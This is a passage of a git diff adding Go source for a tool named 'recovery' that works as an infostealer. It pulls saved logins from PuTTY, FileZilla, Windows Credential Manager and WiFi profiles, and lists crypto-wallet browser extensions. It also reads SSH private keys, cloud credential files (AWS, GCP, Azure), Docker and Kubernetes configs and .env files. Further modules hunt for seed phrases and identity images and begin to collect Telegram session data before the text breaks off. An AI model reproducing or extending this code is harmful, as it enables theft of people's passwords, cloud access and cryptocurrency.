err != nil { + continue + } + + hostname, _, _ := sk.GetStringValue("HostName") + username, _, _ := sk.GetStringValue("UserName") + portNum, _, _ := sk.GetIntegerValue("PortNumber") + protocol, _, _ := sk.GetStringValue("Protocol") + keyFile, _, _ := sk.GetStringValue("PublicKeyFile") + proxyHost, _, _ := sk.GetStringValue("ProxyHost") + sk.Close() + + if hostname == "" { + continue + } + + port := int(portNum) + if port == 0 { + port = 22 + } + if protocol == "" { + protocol = "ssh" + } + + extra := "" + if keyFile != "" || proxyHost != "" { + parts := []string{} + if keyFile != "" { + parts = append(parts, "key:"+keyFile) + } + if proxyHost != "" { + parts = append(parts, "proxy:"+proxyHost) + } + extra = strings.Join(parts, "; ") + } + + // URL-decode session name for display purposes + decodedName := strings.ReplaceAll(sess, "%20", " ") + _ = decodedName + + results = append(results, types.AppCredentialResult{ + Application: "PuTTY", + Host: hostname, + Port: port, + Username: username, + Protocol: protocol, + Extra: extra, + }) + } + + return results +} + +// ── FileZilla ────────────────────────────────────────────────────────── + +type fzServer struct { + XMLName xml.Name `xml:"Server"` + Host string `xml:"Host"` + Port int `xml:"Port"` + Protocol int `xml:"Protocol"` + User string `xml:"User"` + Pass string `xml:"Pass"` +} + +type fzSiteManager struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServer `xml:"Servers>Server"` +} + +type fzRecentServers struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServer `xml:"RecentServers>Server"` +} + +func scanFileZilla() []types.AppCredentialResult { + var results []types.AppCredentialResult + + appdata := os.Getenv("APPDATA") + if appdata == "" { + return nil + } + fzDir := filepath.Join(appdata, "FileZilla") + + for _, file := range []string{"sitemanager.xml", "recentservers.xml"} { + path := filepath.Join(fzDir, file) + data, err := os.ReadFile(path) + if err != nil { + continue + } + + var servers []fzServer + if file == "sitemanager.xml" { + var sm fzSiteManager + if xml.Unmarshal(data, &sm) == nil { + servers = sm.Servers + } + } else { + var rs fzRecentServers + if xml.Unmarshal(data, &rs) == nil { + servers = rs.Servers + } + } + + for _, s := range servers { + if s.Host == "" { + continue + } + port := s.Port + if port == 0 { + port = 21 + } + protocol := "ftp" + switch s.Protocol { + case 1: + protocol = "sftp" + case 3, 4: + protocol = "ftps" + } + + results = append(results, types.AppCredentialResult{ + Application: "FileZilla", + Host: s.Host, + Port: port, + Username: s.User, + Password: s.Pass, + Protocol: protocol, + }) + } + } + + return results +} + +// ── Windows Credential Manager ───────────────────────────────────────── + +type credEntry struct { + target string + username string + password string + credType uint32 +} + +func enumCredentials() []credEntry { + var count uint32 + var credsPtr uintptr + + ret, _, _ := procCredEnumerateW.Call( + 0, + 0, + uintptr(unsafe.Pointer(&count)), + uintptr(unsafe.Pointer(&credsPtr)), + ) + if ret == 0 || count == 0 { + return nil + } + defer procCredFree.Call(credsPtr) + + var results []credEntry + for i := uint32(0); i < count; i++ { + entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0)))) + c := (*winCredential)(unsafe.Pointer(entryPtr)) + target := windows.UTF16PtrToString(c.TargetName) + username := "" + if c.UserName != nil { + username = windows.UTF16PtrToString(c.UserName) + } + password := "" + if c.CredentialBlobSize > 0 && c.CredentialBlob != nil { + blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize) + password = string(blob) + } + results = append(results, credEntry{ + target: target, + username: username, + password: password, + credType: c.Type, + }) + } + return results +} + +func credManagerLookup(target string) string { + target = strings.ToLower(target) + for _, c := range enumCredentials() { + if strings.ToLower(c.target) == target { + return c.password + } + } + return "" +} + +func scanCredentialManager() []types.AppCredentialResult { + var results []types.AppCredentialResult + + for _, c := range enumCredentials() { + target := strings.ToLower(c.target) + // Skip TERMSRV entries (already handled by RDP scanner) + if strings.HasPrefix(target, "termsrv/") { + continue + } + // Skip entries with no useful data + if c.username == "" && c.password == "" { + continue + } + + typeName := "generic" + switch c.credType { + case credTypeDomainPassword: + typeName = "domain" + case credTypeDomainCertificate: + typeName = "certificate" + } + + results = append(results, types.AppCredentialResult{ + Application: "CredManager", + Host: c.target, + Username: c.username, + Password: c.password, + Protocol: typeName, + }) + } + + return results +} + +// ── WiFi ─────────────────────────────────────────────────────────────── + +func scanWiFi() []types.AppCredentialResult { + var results []types.AppCredentialResult + + cmd := exec.Command("netsh", "wlan", "show", "profiles") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + out, err := cmd.Output() + if err != nil { + return nil + } + + var profiles []string + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if idx := strings.Index(line, ": "); idx >= 0 { + lower := strings.ToLower(line[:idx]) + if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") { + name := strings.TrimSpace(line[idx+2:]) + if name != "" { + profiles = append(profiles, name) + } + } + } + } + + for _, name := range profiles { + cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + out, err := cmd.Output() + if err != nil { + continue + } + + password := "" + auth := "" + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if idx := strings.Index(line, ": "); idx >= 0 { + lower := strings.ToLower(line[:idx]) + val := strings.TrimSpace(line[idx+2:]) + if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") { + password = val + } else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") { + auth = val + } + } + } + + results = append(results, types.AppCredentialResult{ + Application: "WiFi", + Host: name, + Username: auth, + Password: password, + Protocol: "wifi", + }) + } + + return results +} diff --git a/native/recovery/scanner/extensions.go b/native/recovery/scanner/extensions.go new file mode 100644 index 0000000..527254c --- /dev/null +++ b/native/recovery/scanner/extensions.go @@ -0,0 +1,147 @@ +package scanner + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" +) + +var knownWalletExtensions = map[string]string{ + "bhghoamapcdpbohphigoooaddinpkbai": "Authenticator", + "fhbohimaelbohpjbbldcngcnapndodjp": "Binance", + "fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp", + "aodkkagnadcbobfpggfnjeongemjbjca": "BoltX", + "aeachknmefphepccionboohckonoeemg": "Coin98", + "hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase", + "agoakfejjabomempkjlepdflaleeobhb": "Core", + "pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit", + "blnieiiffboillknjnepogjhkgnoapac": "Equal", + "cgeeodpfagjceefieflmdfphplkenlfk": "Ever", + "aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3", + "ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha", + "cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie", + "hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda", + "nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild", + "fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony", + "flpiciilemghbmfalicajoolhkkenfel": "Iconex", + "cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty", + "jblndlipeogpafnldhgmapagcccfchpi": "Kaikas", + "pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain", + "dmkamcknogkgcdfhhbddcghachkejeap": "Keplr", + "kpfopkelmapcoipemfendmdcghnegimn": "Liquality", + "nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX", + "dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI", + "efbglgofoippbgcjepnhiblaibcnclgk": "Martian", + "afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math", + "nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask", + "ejbalbakoplchlghecdalmeeeajnimhm": "Metamask", + "fcckkdbjnoikooededlapcalpionmalo": "Mobox", + "lpfcbjknijpeeillifnkikgncikgfhdo": "Nami", + "jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty", + "fhilaheimglignddkjgofkcbgekhenbh": "Oxygen", + "mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet", + "ejjladinnckdgjemekebdpeokbikhfci": "Petra", + "bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom", + "phkbamefinggmakgklpkljjmgibohnba": "Pontem", + "fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin", + "lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal", + "nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn", + "pocmplpaccanhmnllbbkpgfliimjljgo": "Slope", + "bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare", + "fhmfendgdocmcbmfikdcogofphimnkno": "Sollet", + "mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin", + "cmndjbecilbocjfkibfbifhngkdmjgog": "Swash", + "ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos", + "aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation", + "mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket", + "nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton", + "ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron", + "egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet", + "amkmjjmmflddogmhpjloimipbofnfjih": "Wombat", + "hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI", + "eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT", + "bocpokimicclpaiekenaeelehdjllofo": "XinPay", + "ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi", + "kncchdigobghenbbaddojjnnaogfppfj": "iWallet", +} + +func ScanExtensions() []types.ExtensionResult { + var results []types.ExtensionResult + for _, cfg := range browser.Browsers { + if cfg.IsFirefox { + continue + } + profiles := browser.FindProfileDirs(cfg) + for _, profile := range profiles { + extDir := filepath.Join(profile.Path, "Extensions") + entries, err := os.ReadDir(extDir) + if err != nil { + continue + } + for _, e := range entries { + if !e.IsDir() { + continue + } + extID := e.Name() + // Skip internal Chromium marker dirs + if strings.HasPrefix(extID, "_") { + continue + } + extIDDir := filepath.Join(extDir, extID) + versionDirs, err := os.ReadDir(extIDDir) + if err != nil { + continue + } + for _, vd := range versionDirs { + if !vd.IsDir() { + continue + } + versionPath := filepath.Join(extIDDir, vd.Name()) + name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json")) + category := "" + if walletName, ok := knownWalletExtensions[extID]; ok { + category = "wallet" + if name == "" { + name = walletName + } + } + results = append(results, types.ExtensionResult{ + ExtID: extID, + Name: name, + Version: version, + Browser: cfg.Name, + Profile: profile.Name, + Path: versionPath, + Category: category, + }) + break // first version directory only + } + } + } + } + return results +} + +type manifestBasics struct { + Name string `json:"name"` + Version string `json:"version"` +} + +func readManifestBasics(path string) (name, version string) { + data, err := os.ReadFile(path) + if err != nil { + return "", "" + } + var m manifestBasics + if err := json.Unmarshal(data, &m); err != nil { + return "", "" + } + if strings.HasPrefix(m.Name, "__MSG_") { + m.Name = "" + } + return m.Name, m.Version +} diff --git a/native/recovery/scanner/files.go b/native/recovery/scanner/files.go new file mode 100644 index 0000000..136960d --- /dev/null +++ b/native/recovery/scanner/files.go @@ -0,0 +1,170 @@ +package scanner + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +const ( + maxFiles = 500 + maxScanDepth = 3 + maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing + MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch +) + +var targetExtensions = map[string]bool{ + // Office documents + ".docx": true, ".doc": true, ".docm": true, + ".xlsx": true, ".xls": true, ".xlsm": true, + ".pptx": true, ".ppt": true, ".pptm": true, + ".odt": true, ".ods": true, ".odp": true, + // Plain text / markup + ".txt": true, ".rtf": true, ".md": true, + ".csv": true, ".tsv": true, + // PDFs + ".pdf": true, + // Archives (metadata only — content not fetched automatically) + ".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true, + // Credential / key files + ".kdbx": true, ".key": true, ".pem": true, + ".p12": true, ".pfx": true, ".ppk": true, ".jks": true, + // Dotenv — commonly stores API keys and secrets + ".env": true, + // Images — IDs, passports, screenshots of credentials, seed phrases + ".jpg": true, ".jpeg": true, ".png": true, ".gif": true, + ".bmp": true, ".webp": true, ".tiff": true, ".tif": true, + ".heic": true, ".heif": true, +} + +// seedPhraseLengths are the BIP39 word counts we consider suspicious. +var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true} + +type scanLocation struct { + subPath string + label string +} + +// ScanFiles walks common user locations and returns matching file metadata. +// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped. +func ScanFiles() []types.FileResult { + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + var results []types.FileResult + seen := make(map[string]bool) + + for _, loc := range getScanLocations() { + dir := filepath.Join(home, loc.subPath) + scanDir(dir, loc.label, 0, &results, seen) + if len(results) >= maxFiles { + break + } + } + + return results +} + +func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) { + if depth > maxScanDepth || len(*results) >= maxFiles { + return + } + + entries, err := os.ReadDir(dir) + if err != nil { + return + } + + for _, e := range entries { + if len(*results) >= maxFiles { + return + } + + name := e.Name() + // skip hidden / system files + if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") { + continue + } + + fullPath := filepath.Join(dir, name) + + if e.IsDir() { + scanDir(fullPath, label, depth+1, results, seen) + continue + } + + ext := strings.ToLower(filepath.Ext(name)) + if !targetExtensions[ext] { + continue + } + + if seen[fullPath] { + continue + } + seen[fullPath] = true + + info, err := e.Info() + if err != nil { + continue + } + + if info.Size() > maxFileSizeList { + continue + } + + var tags []string + if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 { + tags = contentTags + } + + *results = append(*results, types.FileResult{ + Path: fullPath, + Name: name, + Ext: ext, + Size: info.Size(), + Modified: info.ModTime().Unix(), + Dir: label, + Tags: tags, + }) + } +} + +// looksLikeSeedLine returns true if every word is 3–8 lowercase letters. +// BIP39 words are exclusively lowercase a–z with lengths in that range. +func looksLikeSeedLine(words []string) bool { + if !seedPhraseLengths[len(words)] { + return false + } + for _, w := range words { + if len(w) < 3 || len(w) > 8 { + return false + } + for _, c := range w { + if c < 'a' || c > 'z' { + return false + } + } + } + return true +} + +// FetchFile reads a file and returns its raw bytes. +// Returns an error if the file exceeds MaxFetchSize or does not exist. +func FetchFile(path string) ([]byte, error) { + info, err := os.Stat(path) + if err != nil { + return nil, fmt.Errorf("file not found") + } + if info.IsDir() { + return nil, fmt.Errorf("path is a directory") + } + if info.Size() > MaxFetchSize { + return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize) + } + return os.ReadFile(path) +} diff --git a/native/recovery/scanner/files_unix.go b/native/recovery/scanner/files_unix.go new file mode 100644 index 0000000..a3a3ff9 --- /dev/null +++ b/native/recovery/scanner/files_unix.go @@ -0,0 +1,14 @@ +//go:build !windows + +package scanner + +func getScanLocations() []scanLocation { + return []scanLocation{ + {"Desktop", "Desktop"}, + {"Documents", "Documents"}, + {"Downloads", "Downloads"}, + {".local/share", ".local/share"}, + {"Dropbox", "Dropbox"}, + {"snap", "Snap"}, + } +} diff --git a/native/recovery/scanner/files_windows.go b/native/recovery/scanner/files_windows.go new file mode 100644 index 0000000..ab8eab2 --- /dev/null +++ b/native/recovery/scanner/files_windows.go @@ -0,0 +1,17 @@ +//go:build windows + +package scanner + +func getScanLocations() []scanLocation { + return []scanLocation{ + {"Desktop", "Desktop"}, + {"Documents", "Documents"}, + {"Downloads", "Downloads"}, + {`OneDrive\Desktop`, "OneDrive/Desktop"}, + {`OneDrive\Documents`, "OneDrive/Documents"}, + {`OneDrive - Personal\Desktop`, "OneDrive/Desktop"}, + {`OneDrive - Personal\Documents`, "OneDrive/Documents"}, + {`OneDrive - Business\Desktop`, "OneDrive/Desktop"}, + {`OneDrive - Business\Documents`, "OneDrive/Documents"}, + } +} diff --git a/native/recovery/scanner/keys.go b/native/recovery/scanner/keys.go new file mode 100644 index 0000000..11c82a3 --- /dev/null +++ b/native/recovery/scanner/keys.go @@ -0,0 +1,313 @@ +package scanner + +import ( + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +const maxKeyFileSize = 512 * 1024 // 512KB + +func gcpConfigDir(home string) string { + if runtime.GOOS == "windows" { + return filepath.Join(home, "AppData", "Roaming", "gcloud") + } + return filepath.Join(home, ".config", "gcloud") +} + +func ScanKeys() []types.KeyResult { + var results []types.KeyResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + results = append(results, scanSSHKeys(home)...) + results = append(results, scanAWSCredentials(home)...) + results = append(results, scanGCPCredentials(home)...) + results = append(results, scanAzureCredentials(home)...) + results = append(results, scanDockerCredentials(home)...) + results = append(results, scanKubeConfig(home)...) + results = append(results, scanEnvFiles(home)...) + + return results +} + +func scanSSHKeys(home string) []types.KeyResult { + sshDir := filepath.Join(home, ".ssh") + entries, err := os.ReadDir(sshDir) + if err != nil { + return nil + } + + var results []types.KeyResult + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" { + continue + } + + path := filepath.Join(sshDir, name) + info, err := e.Info() + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + + data, err := os.ReadFile(path) + if err != nil { + continue + } + content := string(data) + + if isPrivateKey(content) { + results = append(results, types.KeyResult{ + Type: "ssh", + Name: name, + Path: path, + Size: info.Size(), + Content: content, + }) + } + } + + configPath := filepath.Join(sshDir, "config") + if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize { + if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 { + results = append(results, types.KeyResult{ + Type: "ssh_config", + Name: "config", + Path: configPath, + Size: info.Size(), + Content: string(data), + }) + } + } + + return results +} + +func isPrivateKey(content string) bool { + markers := []string{ + "-----BEGIN OPENSSH PRIVATE KEY-----", + "-----BEGIN RSA PRIVATE KEY-----", + "-----BEGIN EC PRIVATE KEY-----", + "-----BEGIN DSA PRIVATE KEY-----", + "-----BEGIN PRIVATE KEY-----", + "-----BEGIN ENCRYPTED PRIVATE KEY-----", + "PuTTY-User-Key-File-", + } + for _, m := range markers { + if strings.Contains(content, m) { + return true + } + } + return false +} + +func scanAWSCredentials(home string) []types.KeyResult { + var results []types.KeyResult + awsDir := filepath.Join(home, ".aws") + + for _, name := range []string{"credentials", "config"} { + path := filepath.Join(awsDir, name) + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "aws", + Name: name, + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + + return results +} + +func scanGCPCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + gcpDir := gcpConfigDir(home) + candidates := []string{ + filepath.Join(gcpDir, "application_default_credentials.json"), + filepath.Join(gcpDir, "credentials.db"), + filepath.Join(gcpDir, "properties"), + } + + for _, dir := range []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) { + candidates = append(candidates, filepath.Join(dir, name)) + } + } + } + + for _, path := range candidates { + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + content := string(data) + if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") { + results = append(results, types.KeyResult{ + Type: "gcp", + Name: filepath.Base(path), + Path: path, + Size: info.Size(), + Content: content, + }) + } + } + + return results +} + +func scanAzureCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + azureDir := filepath.Join(home, ".azure") + candidates := []string{ + filepath.Join(azureDir, "accessTokens.json"), + filepath.Join(azureDir, "azureProfile.json"), + filepath.Join(azureDir, "msal_token_cache.json"), + filepath.Join(azureDir, "service_principal_entries.json"), + } + + for _, path := range candidates { + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "azure", + Name: filepath.Base(path), + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + + return results +} + +func scanDockerCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + path := filepath.Join(home, ".docker", "config.json") + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + if strings.Contains(string(data), "auths") { + results = append(results, types.KeyResult{ + Type: "docker", + Name: "config.json", + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + return results +} + +func scanKubeConfig(home string) []types.KeyResult { + var results []types.KeyResult + + path := filepath.Join(home, ".kube", "config") + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + results = append(results, types.KeyResult{ + Type: "kubernetes", + Name: "config", + Path: path, + Size: info.Size(), + Content: string(data), + }) + return results +} + +func scanEnvFiles(home string) []types.KeyResult { + var results []types.KeyResult + + searchDirs := []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + + for _, dir := range searchDirs { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if name != ".env" && !strings.HasPrefix(name, ".env.") { + continue + } + path := filepath.Join(dir, name) + info, err := e.Info() + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "env", + Name: name, + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + } + + return results +} diff --git a/native/recovery/scanner/log.go b/native/recovery/scanner/log.go new file mode 100644 index 0000000..121430c --- /dev/null +++ b/native/recovery/scanner/log.go @@ -0,0 +1,7 @@ +package scanner + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[scanner] "+format, args...) +} diff --git a/native/recovery/scanner/seeds.go b/native/recovery/scanner/seeds.go new file mode 100644 index 0000000..46a9fbb --- /dev/null +++ b/native/recovery/scanner/seeds.go @@ -0,0 +1,274 @@ +package scanner + +import ( + "os" + "regexp" + "strings" + + "recovery/recovery/types" +) + +// BIP39-valid word counts +var validSeedLengths = map[int]bool{ + 12: true, 15: true, 18: true, 21: true, 24: true, +} + +const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB + +var seedScanFileExts = map[string]bool{ + ".txt": true, ".md": true, ".csv": true, ".tsv": true, + ".log": true, ".rtf": true, ".json": true, ".xml": true, + ".env": true, ".cfg": true, ".conf": true, ".ini": true, + ".bak": true, ".old": true, ".tmp": true, ".note": true, + ".doc": true, ".nfo": true, ".asc": true, ".key": true, + ".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true, +} + +// contentScanExts are the text formats read during the file listing scan to +// look for sensitive plaintext (BIP39 seed phrases, PEM private keys). +var contentScanExts = seedScanFileExts + +// privateKeyRe matches PEM private-key header lines. The optional algorithm +// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form. +var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`) + +// contentFileTags reads a small text file once and returns the security tags +// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it +// contains a PEM private-key header. Returns nil when the file is not a +// recognized text format or is too large to scan. +func contentFileTags(path, ext string, size int64) []string { + if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + + var tags []string + content := strings.ToLower(string(data)) + if looksLikeSeedLine(strings.Fields(content)) { + tags = append(tags, "seed") + } else { + for _, line := range strings.Split(content, "\n") { + if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) { + tags = append(tags, "seed") + break + } + } + } + // PEM headers are case-sensitive, so match against the raw bytes. + if privateKeyRe.Match(data) { + tags = append(tags, "key") + } + return tags +} + +// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists +var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`) + +// ScanSeeds searches collected data for BIP39 seed phrases. +// Checks file contents, password values, and autofill values. +func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult { + seen := make(map[string]bool) + var results []types.SeedResult + + // Scan files + for _, f := range files { + if f.Size > seedScanMaxFileSize || f.Size == 0 { + continue + } + if !seedScanFileExts[f.Ext] { + continue + } + data, err := os.ReadFile(f.Path) + if err != nil { + continue + } + for _, phrase := range extractSeedPhrases(string(data)) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "file", + Path: f.Path, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + // Scan passwords + for _, p := range passwords { + for _, phrase := range extractSeedPhrases(p.Password) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "password", + Path: p.URL, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + for _, phrase := range extractSeedPhrases(p.Username) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "password", + Path: p.URL, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + // Scan autofill values + for _, a := range autofill { + for _, phrase := range extractSeedPhrases(a.Value) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "autofill", + Path: a.Name, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + return results +} + +// extractSeedPhrases finds all BIP39-like seed phrases in text content. +// Handles: space-separated, comma-separated, numbered lists, newline-separated. +func extractSeedPhrases(content string) []string { + if len(content) == 0 { + return nil + } + + content = strings.ToLower(content) + var found []string + + // Strategy 1: full content as one phrase (file contains only the seed) + if phrase := tryExtractPhrase(content); phrase != "" { + found = append(found, phrase) + return found + } + + // Strategy 2: line-by-line (seed on one line) + for _, line := range strings.Split(content, "\n") { + line = strings.TrimSpace(line) + if line == "" { + continue + } + if phrase := tryExtractPhrase(line); phrase != "" { + found = append(found, phrase) + } + } + + // Strategy 3: numbered list — collect words from "1. word\n2. word\n..." + if phrase := tryNumberedList(content); phrase != "" { + if !containsPhrase(found, phrase) { + found = append(found, phrase) + } + } + + // Strategy 4: comma-separated words + if strings.Contains(content, ",") { + normalized := strings.ReplaceAll(content, ",", " ") + if phrase := tryExtractPhrase(normalized); phrase != "" { + if !containsPhrase(found, phrase) { + found = append(found, phrase) + } + } + } + + return found +} + +// tryExtractPhrase checks if text contains a valid seed phrase +func tryExtractPhrase(text string) string { + words := strings.Fields(text) + if isValidSeedPhrase(words) { + return strings.Join(words, " ") + } + + // Try sliding window for phrases embedded in longer text + for _, count := range []int{24, 21, 18, 15, 12} { + if len(words) < count { + continue + } + for i := 0; i <= len(words)-count; i++ { + window := words[i : i+count] + if isValidSeedPhrase(window) { + return strings.Join(window, " ") + } + } + } + return "" +} + +// tryNumberedList extracts words from numbered list format: +// "1. abandon\n2. ability\n3. able\n..." +func tryNumberedList(content string) string { + lines := strings.Split(content, "\n") + var words []string + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + cleaned := numberedLineRe.ReplaceAllString(line, "") + cleaned = strings.TrimSpace(cleaned) + if cleaned == "" { + continue + } + // Each numbered line should have exactly one word + lineWords := strings.Fields(cleaned) + if len(lineWords) == 1 && isBIP39Word(lineWords[0]) { + words = append(words, lineWords[0]) + } + } + if isValidSeedPhrase(words) { + return strings.Join(words, " ") + } + return "" +} + +func isValidSeedPhrase(words []string) bool { + if !validSeedLengths[len(words)] { + return false + } + for _, w := range words { + if !isBIP39Word(w) { + return false + } + } + return true +} + +// isBIP39Word checks if a word matches BIP39 characteristics: +// lowercase a-z only, 3-8 characters. +func isBIP39Word(w string) bool { + if len(w) < 3 || len(w) > 8 { + return false + } + for _, c := range w { + if c < 'a' || c > 'z' { + return false + } + } + return true +} + +func containsPhrase(phrases []string, phrase string) bool { + for _, p := range phrases { + if p == phrase { + return true + } + } + return false +} diff --git a/native/recovery/scanner/telegram.go b/native/recovery/scanner/telegram.go new file mode 100644 index 0000000..e393098 --- /dev/null +++ b/native/recovery/scanner/telegram.go @@ -0,0 +1,234 @@ +package scanner + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type telegramPathConfig struct { + name string + subPath string + base string +} + +var tdataSessionFiles = map[string]bool{ + "key_datas": true, + "usertag": true, + "settings0": true, + "settings1": true, + "configs": true, +} + +func isTdataSessionDir(name string) bool { + if len(name) != 16 { + return false + } + for _, c := range name { + if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) { + return false + } + } + return true +} + +func ScanTelegram() []types.TelegramResult { + var results []types.TelegramResult + + for _, tp := range getTelegramPaths() { + base := resolveTelegramBase(tp.base) + if base == "" { + continue + } + + tdataDir := filepath.Join(base, tp.subPath) + if _, err := 